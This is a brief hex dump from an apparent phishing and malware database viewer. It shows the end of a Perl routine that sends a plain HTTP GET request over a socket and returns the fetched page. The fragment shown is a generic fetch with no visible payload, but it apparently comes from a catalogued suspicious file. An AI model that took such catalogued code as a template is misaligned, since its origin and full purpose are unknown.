66560:	74	20	24	73	6F	63	6B	20	22	47	45	54	20	24	71	75	65	72	79	20	48	54	54	50	2F	31	2E	30	5C	72	5C	6E	t $sock "GET $query HTTP/1. \r\n
66592:	48	6F	73	74	3A	20	24	68	6F	73	74	5C	72	5C	6E	41	63	63	65	70	74	3A	20	2A	2F	2A	5C	72	5C	6E	55	73	Host: $host\r\nAccept: /\r\nUs
66624:	65	72	2D	41	67	65	6E	74	3A	20	4D	6F	7A	69	6C	6C	61	2F	35	2E	30	5C	72	5C	6E	5C	72	5C	6E	22	3B	0D	er-Agent: Mozilla/5. \r\n\r\n";
66656:	0A	6D	79	20	40	72	20	3D	20	3C	24	73	6F	63	6B	3E	3B	0D	0A	24	70	61	67	65	3D	22	40	72	22	3B	0D	0A	my @r = <$sock>; $page="@r";
66688:	61	6C	61	72	6D	20	30	3B	0D	0A	63	6C	6F	73	65	28	24	73	6F	63	6B	29	3B	0D	0A	7D	3B	0D	0A	72	65	74	alarm ; close($sock); }; ret
66720:	75	72	6E	20	24	70	61	67	65	3B	0D	0A	7D	7D	0D	0A																	urn $page; }}

CLEAN MX realtime database
safe Phish viewer